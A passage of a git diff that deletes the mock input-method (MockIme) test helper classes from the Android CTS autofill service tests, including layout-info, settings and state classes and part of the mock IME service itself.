- * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
- */
- public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
- long timeout) throws TimeoutException {
- expectEvent(stream, event -> {
- if (!TextUtils.equals("bindInput", event.getEventName())) {
- return false;
- }
- final InputBinding binding = event.getArguments().getParcelable("binding");
- return binding.getPid() == targetProcessPid;
- }, EventFilterMode.CHECK_EXIT_EVENT_ONLY, timeout);
- }
-
- /**
- * Waits until {@code MockIme} does not send {@code "onInputViewLayoutChanged"} event
- * for a certain period of time ({@code stableThresholdTime} msec).
- *
- * <p>When this returns non-null {@link ImeLayoutInfo}, the stream position will be set to
- * the next event of the returned layout event. Otherwise this method does not change stream
- * position.</p>
- * @param stream {@link ImeEventStream} to be checked.
- * @param stableThresholdTime threshold time to consider that {@link MockIme}'s layout is
- * stable, in millisecond
- * @return last {@link ImeLayoutInfo} if {@link MockIme} sent one or more
- * {@code "onInputViewLayoutChanged"} event. Otherwise {@code null}
- */
- public static ImeLayoutInfo waitForInputViewLayoutStable(@NonNull ImeEventStream stream,
- long stableThresholdTime) {
- ImeLayoutInfo lastLayout = null;
- final Predicate<ImeEvent> layoutFilter = event ->
- !event.isEnterEvent() && event.getEventName().equals("onInputViewLayoutChanged");
- try {
- long deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
- while (true) {
- if (deadline < SystemClock.elapsedRealtime()) {
- return lastLayout;
- }
- final Optional<ImeEvent> event = stream.seekToFirst(layoutFilter);
- if (event.isPresent()) {
- // Remember the last event and extend the deadline again.
- lastLayout = ImeLayoutInfo.readFromBundle(event.get().getArguments());
- deadline = SystemClock.elapsedRealtime() + stableThresholdTime;
- stream.skip(1);
- }
- Thread.sleep(TIME_SLICE);
- }
- } catch (InterruptedException e) {
- throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
- }
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java b/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
deleted file mode 100644
index 77718ea..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeLayoutInfo.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.graphics.Point;
-import android.graphics.Rect;
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowInsets;
-
-/**
- * A collection of layout-related information when
- * {@link View.OnLayoutChangeListener#onLayoutChange(View, int, int, int, int, int, int, int, int)}
- * is called back for the input view (the view returned from {@link MockIme#onCreateInputView()}).
- */
-public final class ImeLayoutInfo {
-
- private static final String NEW_LAYOUT_KEY = "newLayout";
- private static final String OLD_LAYOUT_KEY = "oldLayout";
- private static final String VIEW_ORIGIN_ON_SCREEN_KEY = "viewOriginOnScreen";
- private static final String DISPLAY_SIZE_KEY = "displaySize";
- private static final String SYSTEM_WINDOW_INSET_KEY = "systemWindowInset";
- private static final String STABLE_INSET_KEY = "stableInset";
-
- @NonNull
- private final Rect mNewLayout;
- @NonNull
- private final Rect mOldLayout;
- @Nullable
- private Point mViewOriginOnScreen;
- @Nullable
- private Point mDisplaySize;
- @Nullable
- private Rect mSystemWindowInset;
- @Nullable
- private Rect mStableInset;
-
- /**
- * Returns the bounding box of the {@link View} passed to
- * {@link android.inputmethodservice.InputMethodService#onCreateInputView()} in screen
- * coordinates.
- *
- * <p>Currently this method assumes that no {@link View} in the hierarchy uses
- * transformations such as {@link View#setRotation(float)}.</p>
- *
- * @return Region in screen coordinates.
- */
- @Nullable
- public Rect getInputViewBoundsInScreen() {
- return new Rect(
- mViewOriginOnScreen.x, mViewOriginOnScreen.y,
- mViewOriginOnScreen.x + mNewLayout.width(),
- mViewOriginOnScreen.y + mNewLayout.height());
- }
-
- /**
- * Returns the screen area in screen coordinates that does not overlap with the system
- * window inset, which represents the area of a full-screen window that is partially or
- * fully obscured by the status bar, navigation bar, IME or other system windows.
- *
- * <p>May return {@code null} when this information is not yet ready.</p>
- *
- * @return Region in screen coordinates. {@code null} when it is not available
- *
- * @see WindowInsets#hasSystemWindowInsets()
- * @see WindowInsets#getSystemWindowInsetBottom()
- * @see WindowInsets#getSystemWindowInsetLeft()
- * @see WindowInsets#getSystemWindowInsetRight()
- * @see WindowInsets#getSystemWindowInsetTop()
- */
- @Nullable
- public Rect getScreenRectWithoutSystemWindowInset() {
- if (mDisplaySize == null) {
- return null;
- }
- if (mSystemWindowInset == null) {
- return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
- }
- return new Rect(mSystemWindowInset.left, mSystemWindowInset.top,
- mDisplaySize.x - mSystemWindowInset.right,
- mDisplaySize.y - mSystemWindowInset.bottom);
- }
-
- /**
- * Returns the screen area in screen coordinates that does not overlap with the stable
- * inset, which represents the area of a full-screen window that <b>may</b> be partially or
- * fully obscured by the system UI elements.
- *
- * <p>May return {@code null} when this information is not yet ready.</p>
- *
- * @return Region in screen coordinates. {@code null} when it is not available
- *
- * @see WindowInsets#hasStableInsets()
- * @see WindowInsets#getStableInsetBottom()
- * @see WindowInsets#getStableInsetLeft()
- * @see WindowInsets#getStableInsetRight()
- * @see WindowInsets#getStableInsetTop()
- */
- @Nullable
- public Rect getScreenRectWithoutStableInset() {
- if (mDisplaySize == null) {
- return null;
- }
- if (mStableInset == null) {
- return new Rect(0, 0, mDisplaySize.x, mDisplaySize.y);
- }
- return new Rect(mStableInset.left, mStableInset.top,
- mDisplaySize.x - mStableInset.right,
- mDisplaySize.y - mStableInset.bottom);
- }
-
- ImeLayoutInfo(@NonNull Rect newLayout, @NonNull Rect oldLayout,
- @NonNull Point viewOriginOnScreen, @Nullable Point displaySize,
- @Nullable Rect systemWindowInset, @Nullable Rect stableInset) {
- mNewLayout = new Rect(newLayout);
- mOldLayout = new Rect(oldLayout);
- mViewOriginOnScreen = new Point(viewOriginOnScreen);
- mDisplaySize = new Point(displaySize);
- mSystemWindowInset = systemWindowInset;
- mStableInset = stableInset;
- }
-
- void writeToBundle(@NonNull Bundle bundle) {
- bundle.putParcelable(NEW_LAYOUT_KEY, mNewLayout);
- bundle.putParcelable(OLD_LAYOUT_KEY, mOldLayout);
- bundle.putParcelable(VIEW_ORIGIN_ON_SCREEN_KEY, mViewOriginOnScreen);
- bundle.putParcelable(DISPLAY_SIZE_KEY, mDisplaySize);
- bundle.putParcelable(SYSTEM_WINDOW_INSET_KEY, mSystemWindowInset);
- bundle.putParcelable(STABLE_INSET_KEY, mStableInset);
- }
-
- static ImeLayoutInfo readFromBundle(@NonNull Bundle bundle) {
- final Rect newLayout = bundle.getParcelable(NEW_LAYOUT_KEY);
- final Rect oldLayout = bundle.getParcelable(OLD_LAYOUT_KEY);
- final Point viewOrigin = bundle.getParcelable(VIEW_ORIGIN_ON_SCREEN_KEY);
- final Point displaySize = bundle.getParcelable(DISPLAY_SIZE_KEY);
- final Rect systemWindowInset = bundle.getParcelable(SYSTEM_WINDOW_INSET_KEY);
- final Rect stableInset = bundle.getParcelable(STABLE_INSET_KEY);
-
- return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
- stableInset);
- }
-
- static ImeLayoutInfo fromLayoutListenerCallback(View v, int left, int top, int right,
- int bottom, int oldLeft, int oldTop, int oldRight, int oldBottom) {
- final Rect newLayout = new Rect(left, top, right, bottom);
- final Rect oldLayout = new Rect(oldLeft, oldTop, oldRight, oldBottom);
- final int[] viewOriginArray = new int[2];
- v.getLocationOnScreen(viewOriginArray);
- final Point viewOrigin = new Point(viewOriginArray[0], viewOriginArray[1]);
- final Display display = v.getDisplay();
- final Point displaySize;
- if (display != null) {
- displaySize = new Point();
- display.getRealSize(displaySize);
- } else {
- displaySize = null;
- }
- final WindowInsets windowInsets = v.getRootWindowInsets();
- final Rect systemWindowInset;
- if (windowInsets != null && windowInsets.hasSystemWindowInsets()) {
- systemWindowInset = new Rect(
- windowInsets.getSystemWindowInsetLeft(), windowInsets.getSystemWindowInsetTop(),
- windowInsets.getSystemWindowInsetRight(),
- windowInsets.getSystemWindowInsetBottom());
- } else {
- systemWindowInset = null;
- }
- final Rect stableInset;
- if (windowInsets != null && windowInsets.hasStableInsets()) {
- stableInset = new Rect(
- windowInsets.getStableInsetLeft(), windowInsets.getStableInsetTop(),
- windowInsets.getStableInsetRight(), windowInsets.getStableInsetBottom());
- } else {
- stableInset = null;
- }
- return new ImeLayoutInfo(newLayout, oldLayout, viewOrigin, displaySize, systemWindowInset,
- stableInset);
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java b/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
deleted file mode 100644
index 21c25be..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeSettings.java
+++ /dev/null
@@ -1,217 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import android.os.PersistableBundle;
-import androidx.annotation.ColorInt;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable data store to control the behavior of {@link MockIme}.
- */
-public class ImeSettings {
-
- @NonNull
- private final String mClientPackageName;
-
- @NonNull
- private final String mEventCallbackActionName;
-
- private static final String EVENT_CALLBACK_INTENT_ACTION_KEY = "eventCallbackActionName";
- private static final String DATA_KEY = "data";
-
- private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
- private static final String NAVIGATION_BAR_COLOR_KEY = "NavigationBarColor";
- private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
- "InputViewHeightWithoutSystemWindowInset";
- private static final String WINDOW_FLAGS = "WindowFlags";
- private static final String WINDOW_FLAGS_MASK = "WindowFlagsMask";
- private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
- private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
- private static final String HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED =
- "HardKeyboardConfigurationBehaviorAllowed";
-
- @NonNull
- private final PersistableBundle mBundle;
-
- ImeSettings(@NonNull String clientPackageName, @NonNull Bundle bundle) {
- mClientPackageName = clientPackageName;
- mEventCallbackActionName = bundle.getString(EVENT_CALLBACK_INTENT_ACTION_KEY);
- mBundle = bundle.getParcelable(DATA_KEY);
- }
-
- @Nullable
- String getEventCallbackActionName() {
- return mEventCallbackActionName;
- }
-
- @NonNull
- String getClientPackageName() {
- return mClientPackageName;
- }
-
- public boolean fullscreenModeAllowed(boolean defaultValue) {
- return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
- }
-
- @ColorInt
- public int getBackgroundColor(@ColorInt int defaultColor) {
- return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
- }
-
- public boolean hasNavigationBarColor() {
- return mBundle.keySet().contains(NAVIGATION_BAR_COLOR_KEY);
- }
-
- @ColorInt
- public int getNavigationBarColor() {
- return mBundle.getInt(NAVIGATION_BAR_COLOR_KEY);
- }
-
- public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
- return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
- }
-
- public int getWindowFlags(int defaultFlags) {
- return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
- }
-
- public int getWindowFlagsMask(int defaultFlags) {
- return mBundle.getInt(WINDOW_FLAGS_MASK, defaultFlags);
- }
-
- public int getInputViewSystemUiVisibility(int defaultFlags) {
- return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
- }
-
- public boolean getHardKeyboardConfigurationBehaviorAllowed(boolean defaultValue) {
- return mBundle.getBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, defaultValue);
- }
-
- static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
- @Nullable Builder builder) {
- final Bundle result = new Bundle();
- result.putString(EVENT_CALLBACK_INTENT_ACTION_KEY, eventCallbackActionName);
- result.putParcelable(DATA_KEY, builder != null ? builder.mBundle : PersistableBundle.EMPTY);
- return result;
- }
-
- /**
- * The builder class for {@link ImeSettings}.
- */
- public static final class Builder {
- private final PersistableBundle mBundle = new PersistableBundle();
-
- /**
- * Controls whether fullscreen mode is allowed or not.
- *
- * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
- *
- * @param allowed {@code true} if fullscreen mode is allowed
- * @see MockIme#onEvaluateFullscreenMode()
- */
- public Builder setFullscreenModeAllowed(boolean allowed) {
- mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
- return this;
- }
-
- /**
- * Sets the background color of the {@link MockIme}.
- * @param color background color to be used
- */
- public Builder setBackgroundColor(@ColorInt int color) {
- mBundle.putInt(BACKGROUND_COLOR_KEY, color);
- return this;
- }
-
- /**
- * Sets the color to be passed to {@link android.view.Window#setNavigationBarColor(int)}.
- *
- * @param color color to be passed to {@link android.view.Window#setNavigationBarColor(int)}
- * @see android.view.View
- */
- public Builder setNavigationBarColor(@ColorInt int color) {
- mBundle.putInt(NAVIGATION_BAR_COLOR_KEY, color);
- return this;
- }
-
- /**
- * Sets the input view height measured from the bottom system window inset.
- * @param height height of the soft input view. This does not include the system window
- * inset such as navigation bar
- */
- public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
- mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
- return this;
- }
-
- /**
- * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
- * the main {@link MockIme} window.
- *
- * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
- * {@link MockIme} tries to render the navigation bar by itself.</p>
- *
- * @param flags flags to be specified
- * @param flagsMask mask bits that specify what bits need to be cleared before setting
- * {@code flags}
- * @see android.view.WindowManager
- */
- public Builder setWindowFlags(int flags, int flagsMask) {
- mBundle.putInt(WINDOW_FLAGS, flags);
- mBundle.putInt(WINDOW_FLAGS_MASK, flagsMask);
- return this;
- }
-
- /**
- * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
- * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
- *
- * @param visibilityFlags flags to be specified
- * @see android.view.View
- */
- public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
- mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
- return this;
- }
-
- /**
- * Controls whether {@link MockIme} is allowed to change the behavior based on
- * {@link android.content.res.Configuration#keyboard} and
- * {@link android.content.res.Configuration#hardKeyboardHidden}.
- *
- * <p>Methods in {@link android.inputmethodservice.InputMethodService} such as
- * {@link android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()} and
- * {@link android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)}
- * change their behaviors when a hardware keyboard is attached. This is confusing when
- * writing tests so by default {@link MockIme} tries to cancel those behaviors. This
- * settings re-enables such a behavior.</p>
- *
- * @param allowed {@code true} when {@link MockIme} is allowed to change the behavior when
- * a hardware keyboard is attached
- *
- * @see android.inputmethodservice.InputMethodService#onEvaluateInputViewShown()
- * @see android.inputmethodservice.InputMethodService#onShowInputRequested(int, boolean)
- */
- public Builder setHardKeyboardConfigurationBehaviorAllowed(boolean allowed) {
- mBundle.putBoolean(HARD_KEYBOARD_CONFIGURATION_BEHAVIOR_ALLOWED, allowed);
- return this;
- }
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java b/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
deleted file mode 100644
index 0135b30..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/ImeState.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import android.os.Bundle;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-/**
- * An immutable object that stores several runtime state of {@link MockIme}.
- */
-public final class ImeState {
- private final boolean mHasInputBinding;
- private final boolean mHasDummyInputConnection;
-
- /**
- * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
- * {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
- */
- public boolean hasInputBinding() {
- return mHasInputBinding;
- }
-
- /**
- * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
- * {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
- */
- public boolean hasDummyInputConnection() {
- return mHasDummyInputConnection;
- }
-
- ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
- mHasInputBinding = hasInputBinding;
- mHasDummyInputConnection = hasDummyInputConnection;
- }
-
- @NonNull
- Bundle toBundle() {
- final Bundle bundle = new Bundle();
- bundle.putBoolean("mHasInputBinding", mHasInputBinding);
- bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
- return bundle;
- }
-
- @Nullable
- static ImeState fromBundle(@Nullable Bundle bundle) {
- if (bundle == null) {
- return null;
- }
- final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
- final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
- return new ImeState(hasInputBinding, hasDummyInputConnection);
- }
-}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java b/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
deleted file mode 100644
index 52a1182..0000000
--- a/tests/autofillservice/src/com/android/cts/mockime/MockIme.java
+++ /dev/null
@@ -1,686 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.mockime;
-
-import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
-
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.res.Configuration;
-import android.inputmethodservice.InputMethodService;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Process;
-import android.os.ResultReceiver;
-import android.os.SystemClock;
-import androidx.annotation.AnyThread;
-import androidx.annotation.CallSuper;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-import androidx.annotation.WorkerThread;
-import android.text.TextUtils;
-import android.util.Log;
-import android.util.TypedValue;
-import android.view.Gravity;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.Window;
-import android.view.WindowInsets;
-import android.view.inputmethod.EditorInfo;
-import android.view.inputmethod.InputBinding;
-import android.view.inputmethod.InputMethod;
-import android.widget.LinearLayout;
-import android.widget.RelativeLayout;
-import android.widget.TextView;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.function.BooleanSupplier;
-import java.util.function.Consumer;
-import java.util.function.Supplier;
-
-/**
- * Mock IME for end-to-end tests.
- */
-public final class MockIme extends InputMethodService {
-
- private static final String TAG = "MockIme";
-
- private static final String PACKAGE_NAME = "android.autofillservice.cts";
-
- static ComponentName getComponentName() {
- return new ComponentName(PACKAGE_NAME, MockIme.class.getName());
- }
-
- static String getImeId() {
- return getComponentName().flattenToShortString();
- }
-
- static String getCommandActionName(@NonNull String eventActionName) {
- return eventActionName + ".command";
- }
-
- private final HandlerThread mHandlerThread = new HandlerThread("CommandReceiver");
-
- private final Handler mMainHandler = new Handler();
-
- private static final class CommandReceiver extends BroadcastReceiver {
- @NonNull
- private final String mActionName;
- @NonNull
- private final Consumer<ImeCommand> mOnReceiveCommand;
-
- CommandReceiver(@NonNull String actionName,
- @NonNull Consumer<ImeCommand> onReceiveCommand) {
- mActionName = actionName;
- mOnReceiveCommand = onReceiveCommand;
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- if (TextUtils.equals(mActionName, intent.getAction())) {
- mOnReceiveCommand.accept(ImeCommand.fromBundle(intent.getExtras()));
- }
- }
- }
-
- @WorkerThread
- private void onReceiveCommand(@NonNull ImeCommand command) {
- getTracer().onReceiveCommand(command, () -> {
- if (command.shouldDispatchToMainThread()) {
- mMainHandler.post(() -> onHandleCommand(command));
- } else {
- onHandleCommand(command);
- }
- });
- }
-
- @AnyThread
- private void onHandleCommand(@NonNull ImeCommand command) {
- getTracer().onHandleCommand(command, () -> {
- if (command.shouldDispatchToMainThread()) {
- if (Looper.myLooper() != Looper.getMainLooper()) {
- throw new IllegalStateException("command " + command
- + " should be handled on the main thread");
- }
- switch (command.getName()) {
- case "commitText": {
- final CharSequence text = command.getExtras().getString("text");
- final int newCursorPosition =
- command.getExtras().getInt("newCursorPosition");
- getCurrentInputConnection().commitText(text, newCursorPosition);
- break;
- }
- case "setBackDisposition": {
- final int backDisposition =
- command.getExtras().getInt("backDisposition");
- setBackDisposition(backDisposition);
- break;
- }
- case "requestHideSelf": {
- final int flags = command.getExtras().getInt("flags");
- requestHideSelf(flags);
- break;
- }
- case "requestShowSelf": {
- final int flags = command.getExtras().getInt("flags");
- requestShowSelf(flags);
- break;
- }
- }
- }
- });
- }
-
- @Nullable
- private CommandReceiver mCommandReceiver;
-
- @Nullable
- private ImeSettings mSettings;
-
- private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
-
- @Nullable
- String getImeEventActionName() {
- return mImeEventActionName.get();
- }
-
- private final AtomicReference<String> mClientPackageName = new AtomicReference<>();
-
- @Nullable
- String getClientPackageName() {
- return mClientPackageName.get();
- }
-
- private class MockInputMethodImpl extends InputMethodImpl {
- @Override
- public void showSoftInput(int flags, ResultReceiver resultReceiver) {
- getTracer().showSoftInput(flags, resultReceiver,
- () -> super.showSoftInput(flags, resultReceiver));
- }
-
- @Override
- public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
- getTracer().hideSoftInput(flags, resultReceiver,
- () -> super.hideSoftInput(flags, resultReceiver));
- }
-
- @Override
- public void attachToken(IBinder token) {
- getTracer().attachToken(token, () -> super.attachToken(token));
- }
-
- @Override
- public void bindInput(InputBinding binding) {
- getTracer().bindInput(binding, () -> super.bindInput(binding));
- }
-
- @Override
- public void unbindInput() {
- getTracer().unbindInput(() -> super.unbindInput());
- }
- }
-
- @Override
- public void onCreate() {
- // Initialize minimum settings to send events in Tracer#onCreate().
- mSettings = SettingsProvider.getSettings();
- if (mSettings == null) {
- throw new IllegalStateException("Settings file is not found. "
- + "Make sure MockImeSession.create() is used to launch Mock IME.");
- }
- mClientPackageName.set(mSettings.getClientPackageName());
- mImeEventActionName.set(mSettings.getEventCallbackActionName());
-
- getTracer().onCreate(() -> {
- super.onCreate();
- mHandlerThread.start();
- final String actionName = getCommandActionName(mSettings.getEventCallbackActionName());
- mCommandReceiver = new CommandReceiver(actionName, this::onReceiveCommand);
- final IntentFilter filter = new IntentFilter(actionName);
- final Handler handler = new Handler(mHandlerThread.getLooper());
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler,
- Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
- } else {
- registerReceiver(mCommandReceiver, filter, null /* broadcastPermission */, handler);
- }
-
- final int windowFlags = mSettings.getWindowFlags(0);
- final int windowFlagsMask = mSettings.getWindowFlagsMask(0);
- if (windowFlags != 0 || windowFlagsMask != 0) {
- final int prevFlags = getWindow().getWindow().getAttributes().flags;
- getWindow().getWindow().setFlags(windowFlags, windowFlagsMask);
- // For some reasons, seems that we need to post another requestLayout() when
- // FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS bit is changed.
- // TODO: Investigate the reason.
- if ((windowFlagsMask & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0) {
- final boolean hadFlag = (prevFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
- final boolean hasFlag = (windowFlags & FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS) != 0;
- if (hadFlag != hasFlag) {
- final View decorView = getWindow().getWindow().getDecorView();
- decorView.post(() -> decorView.requestLayout());
- }
- }
- }
-
- if (mSettings.hasNavigationBarColor()) {
- getWindow().getWindow().setNavigationBarColor(mSettings.getNavigationBarColor());
- }
- });
- }
-
- @Override
- public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
- getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
- () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
- }
-
- @Override
- public boolean onEvaluateFullscreenMode() {
- return getTracer().onEvaluateFullscreenMode(() ->
- mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
- }
-
- private static final class KeyboardLayoutView extends LinearLayout {
- @NonNull
- private final ImeSettings mSettings;
- @NonNull
- private final View.OnLayoutChangeListener mLayoutListener;
-
- KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings,
- @Nullable Consumer<ImeLayoutInfo> onInputViewLayoutChangedCallback) {
- super(context);
-
- mSettings = imeSettings;
-
- setOrientation(VERTICAL);
-
- final int defaultBackgroundColor =
- getResources().getColor(android.R.color.holo_orange_dark, null);
- setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
-
- final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
- LayoutParams.WRAP_CONTENT);
- {
- final RelativeLayout layout = new RelativeLayout(getContext());
- final TextView textView = new TextView(getContext());
- final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
- RelativeLayout.LayoutParams.MATCH_PARENT,
- RelativeLayout.LayoutParams.WRAP_CONTENT);
- params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
- textView.setLayoutParams(params);
- textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
- textView.setGravity(Gravity.CENTER);
- textView.setText(getImeId());
- layout.addView(textView);
- addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
- }
-
- final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
- if (systemUiVisibility != 0) {
- setSystemUiVisibility(systemUiVisibility);
- }
-
- mLayoutListener = (View v, int left, int top, int right, int bottom, int oldLeft,
- int oldTop, int oldRight, int oldBottom) ->
- onInputViewLayoutChangedCallback.accept(
- ImeLayoutInfo.fromLayoutListenerCallback(
- v, left, top, right, bottom, oldLeft, oldTop, oldRight,
- oldBottom));
- this.addOnLayoutChangeListener(mLayoutListener);
- }
-
- private void updateBottomPaddingIfNecessary(int newPaddingBottom) {
- if (getPaddingBottom() != newPaddingBottom) {
- setPadding(getPaddingLeft(), getPaddingTop(), getPaddingRight(), newPaddingBottom);
- }
- }
-
- @Override
- public WindowInsets onApplyWindowInsets(WindowInsets insets) {
- if (insets.isConsumed()
- || (getSystemUiVisibility() & SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION) == 0) {
- // In this case we are not interested in consuming NavBar region.
- // Make sure that the bottom padding is empty.
- updateBottomPaddingIfNecessary(0);
- return insets;
- }
-
- // In some cases the bottom system window inset is not a navigation bar. Wear devices
- // that have bottom chin are examples. For now, assume that it's a navigation bar if it
- // has the same height as the root window's stable bottom inset.
- final WindowInsets rootWindowInsets = getRootWindowInsets();
- if (rootWindowInsets != null && (rootWindowInsets.getStableInsetBottom()
- != insets.getSystemWindowInsetBottom())) {
- // This is probably not a NavBar.
- updateBottomPaddingIfNecessary(0);
- return insets;
- }
-
- final int possibleNavBarHeight = insets.getSystemWindowInsetBottom();
- updateBottomPaddingIfNecessary(possibleNavBarHeight);
- return possibleNavBarHeight <= 0
- ? insets
- : insets.replaceSystemWindowInsets(
- insets.getSystemWindowInsetLeft(),
- insets.getSystemWindowInsetTop(),
- insets.getSystemWindowInsetRight(),
- 0 /* bottom */);
- }
-
- @Override
- protected void onDetachedFromWindow() {
- super.onDetachedFromWindow();
- removeOnLayoutChangeListener(mLayoutListener);
- }
- }
-
- private void onInputViewLayoutChanged(@NonNull ImeLayoutInfo layoutInfo) {
